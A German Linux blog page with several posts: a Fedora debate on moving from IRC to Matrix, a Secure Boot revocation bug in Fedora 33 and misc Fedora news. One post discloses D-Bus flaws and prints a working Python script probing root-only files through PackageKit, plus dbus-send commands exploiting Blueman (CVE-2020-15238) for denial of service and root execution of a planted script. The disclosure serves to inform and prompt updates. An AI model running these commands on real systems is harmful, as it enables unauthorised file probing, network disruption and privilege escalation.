Fedora: Wechsel zu Matrix im Gespräch

Eine zum kleinen Teil hitzige Diskussion in der Fedora-Mailingliste, um einen möglichen Wechsel von IRC als Kommunikationskanal hin zu Matrix, hat letzte Nacht zu einem kräftigen „Emailchat“ geführt.

Fedora: Wechsel zu Matrix im Gespräch

Hinweis: Die folgenden Zitate sind stark auf das wesentliche gekürzt, ebenso die Namen. Wer es nativ nachlesen möchte, müßte sich das Archiv der Mailingliste von Fedora ansehen.

Matthew Miller vom Fedora Führungsgremium weitete die Diskussion um die Idee des Fedora Council’s auf die Fedora Mailingliste aus. Dazu lud er zu einer Videokonferenz aller interessierten Personen ein. In dem Meeting soll besprochen werden, daß IRC als Kommunikationskanal abgelöst und zu Matrix als „besserem“ System gewechselt werden sollte. Der an sich gute Vorschlag, über die Idee etwas breiter zu diskutieren, löste sofort Panikreaktionen einiger Listenteilnehmer aus.

„No, please. IRC bridges need to be closed to force users to switch to Matrix.“ V. Z.

Ursprünglich geplant war eine Brücke zwischen Matrix und IRC zu nutzen und so beide Systeme mit ihrem jeweiligen Vorteil zu betreiben. Zwischenzeitlich rutschte aber jemandem der Begriff „Force“ im Sinne von „Zwingen“ raus, was schon nach wenigen Minuten zur Detonation führte 😉

„force“? You may have said the quiet bit aloud … R.

gefolgt von:

„force“? You may have said the quiet bit aloud …

yes, it got my attention too … D.P.

Matthew Miller konnte dann die beruhigen, die schon eine Verschwörung witterten:

„To be clear, V.Z. isn’t an insider to some secret decision here. I think you should just read this as enthusiasm.“ M.M.

Matthew konnte dann auch den Plan etwas näher belegen, da schon einige Untergruppen auf Matrix gewechselt waren und wohl gut Erfahrungen gemacht haben. Selbst Red Hat unterstützt den Wechsel, weil sie dann auch bei sich auf die Erfahrungen von Fedora zurückgreifen können. Fedora ist ja bekanntermaßen der Testballon von Red Hat.

2h20m nach dem Start läutete dann T.H. den ersten kräftigen Downer ein, als er seine Testergebnisse präsentierte:

„More amusingly one of them crashed as soon as I logged in and a second went into a „your window is too small mode“ as soon
as I resized it to match my IRC client.“ T.H

Die Situation beruhigte sich etwas, falls man bei einem „Chat“ über Email da überhaupt von sprechen kann. Man konnte sogar noch etwas über die Fensterbedienshortcuts lernen:

You don’t have to grab by the edge to resize, GNOME has useful features:

– winkey+left mouse button inside the window let you move it (no need to target header bar)
– winkey+middle mouse button inside window let you resize closest edge

M.C. hatte dann die gleiche Idee wie ich, nur mir fiel nicht mehr ein, wo ich das gesehen hatte:

„Enjoy: https://github.com/matrix-org/purple-matrix/“ M.C.

Mir war nämlich auch so, daß es einen Matrixbackend für Pidgin geben würde, wo mit sich die Crashe beim Start von Programmen auf Pidgin beschränken würde. Ich erwähne das nur, weil mein Pidgin auf dem Tablet, auch gern Crashmeldungen sendet 😉 Damit ist es den Matrixclienten mindestens gleichwertig 🙂

Die Diskussion wird dann im Web weitergeführt:

https://discussion.fedoraproject.org/t/the-future-of-real-time-chat-discussion-for-the-fedora-council/24628

leider mit Discourse, und da hört es dann schon wieder auf. So blöd es klingt, aber die Matrixdiskussion im Discourse, könnte die Discourse Webseite bei Fedora dann überflüssig machen, weil die gleichen Features dann im selbstgehosteten Matrixserver wären, aus denen man Discourse benutzt hat 😀 Da wäre ich dann wieder dafür 😀

IMHO: Die Idee mit dem Matrixserver, zumal selbstgehostet, ist gar nicht blöd. Ich würde dies unterstützen, obwohl auch ich mal ein UUCP/IRC Dino war

 

D-BUS: Schwachstellen mit Blueman und PackageKit

Da weiß man gar nicht, wie man anfangen soll, aber .. am Anfang war … D-BUS 🙂  Im neuen Ubuntu 20 … UPDATE: FEDORA 31 & 32 AUCH BETROFFEN …  wurden einige Sicherheitslücken gefunden, mit denen sich u.A. Dateien von Root finden lassen, auf die der Angreifer so gar nicht zugreifen könnte. Ob sich das nur auf Ubuntu bezieht, wird man sehen müssen.

D-BUS: Schwachstellen mit Blueman und PackageKit

Eine Information Disclosure Schwachstelle gibt es im Umgang mit D-BUS und PackageKit, so daß man als normaler angemeldeter Benutzer die Existenz von Dateien prüfen kann, die eigentlich nur Root überhaupt sehen könnte, bspw. alles was im /root/ Directory drin ist:

import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])

Möglich macht das eine mangelnde Prüfung, ob der User überhaupt autorisiert ist, diese Anfrage stellen zu dürfen.Es stellt sich raus, Fedora 31 und 32 sind auch von der Schwachstelle betroffen und so sieht das dann aus:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.MimeTypeNotSupported: MIME type ‚text/plain‘ not supported /root/.bashrc

Das ist die Antwort für eine Datei, die vorhanden ist. Nachfolgend der gleiche Ablauf für eine Datei, die nicht vorhanden ist:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc333“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.NoSuchFile: No such file /root/.bashrc333

Beurteilung:

  • – Man muß auf dem System als Benutzer angemeldet sein.
  • – Man muß sich mühseelig jede Datei einzeln vornehmen, was sich etwas automatisieren läßt, also schon wissen, was man sucht.
    – Man kann nicht auf den Inhalt schliessen.
  • – Es läßt sich so aber einfach feststellen, ob bestimmte Software installiert ist.

Ich halte die Lücke für nicht ganz so gravierend, man sollte sie aber schliessen. Bugreport an Fedora ist raus.

Blueman Local Privilege Escalation or Denial of Service (CVE-2020-15238)

Die Blueman Lücke ist deutlich schlimmer, da man darüber Befehle ausführen kann. Das läßt sich zudem trivial ausnutzen:

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down"

ens33 ist das Netzwerkinterface. Funktionieren tut das aber nur dann, wenn auch der dhcpcd installiert ist, was nicht zwangsweise so sein muß. Der Fedora Default ist der dh_client, der so scharf kontrolliert, was man ihm da über den D-BUS übergibt, daß man diese Lücke nur für einen DOS, aber nicht für die Local Privilege Escalation Attacke ausnutzen kann. Die würde so funktionieren:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/bashscript"

Also vorher ein Script anlegen, daß root dann ausführen darf => GGS .. Ganz Große Scheiße!

Wenn Ihr also Blueman und Ubuntu 20 benutzt, dann sorgt doch mal für ein paar Updates auf Eurem System 😉

 

 

Fedora: Ubuntu knockt Fedora aus dem Secure-Boot

Die Schlagzeile hat was, oder?  😀

Fedora: Ubuntu knockt Fedora aus dem Secure-Boot

Der Releasetermin für Fedora 33 wackelt, da kurzfristig einer neuer Blocker dazu bekommen ist. Ubuntu hat offensichtlich etwas voreilig eine aktuelle Revocationliste für Bootloader ins EFI-Bios verteilt und damit Fedora 33 Beta unbrauchbar gemacht. Um dem Bug zu begegnen, muß man natürlich erst einmal Ubuntu installiert oder laufen gehabt haben und dann Fedora booten wollen.

5. shim https://bugzilla.redhat.com/show_bug.cgi?id=1883609 NEW
Secure Boot fails to boot F33 Beta image

It appears that Ubuntu has pushed a Secure Boot revocation list early, so people who have previously installed Ubtunu will not be able to boot Fedora. This is accepted as a FESCo blocker.

Nachlesen kann man das auf Bugzilla.

Nicht ganz unüblich dürfte das bei Menschen sein, die sich gerade durch diverse Livedisks durchtesten, auf der Suche nach Ihrem zukünftigen Lieblingsbetriebssystems.

Da es auch mein Problem mit dem Bootvorgang auf dem Tablet betrifft, habe ich da natürlich Hoffnungen. Was mir gerade so einfällt: Wo ist eigentlich der Sinn von Secure-Boot, wenn man das im Bios einfach abschalten kann?

In anderen Fedora News

DoT oder DNS-over-TLS kommt wohl doch erst mit Fedora 34. Nicht aufgegriffen wurden auch die anhaltenden pcscd & RDP Probleme mit Gnome, oder der Umstand, daß man mit Fedora keine Screencasts in Videokonferenzen machen kann 🙁  Kommt alles ein bisschen spät für die Deadline, schon klar, war aber mit Sicherheit schon so, als F33 intern das erste mal durchkompilierte.

Von der Geary Front, vorgestellt im letzten BS-LUG Meeting, gibt es auch eine neue Entwicklung: Ein bereits vor Monaten eingereichter Bugreport über einen Formatierungsfehler bei in Antworten erzeugten Daten wie „ER/SIE schrieb am …. um .. das folgende…“ sind allesamt falsch lokalisiert. Als Zeitzone kommt UTC+0 und als Format „english“ zum Einsatz, was bei einer rein Deutschen Konversation per Email mit dem Satz endete: „Das hast Du doch nie vor 2 Stunden geschrieben!“ 🙂 Da ist jetzt neue Bewegung rein gekommen, da der Hauptmaintainer langsam versteht, daß es sich nicht um ein Übersetzungsproblem handelt, sondern um ein Lokalisierungsproblem. Solche Jobs übernehmen Betriebssystembibliotheken normalerweise für einen, aber man muß die natürlich richtig füttern 😉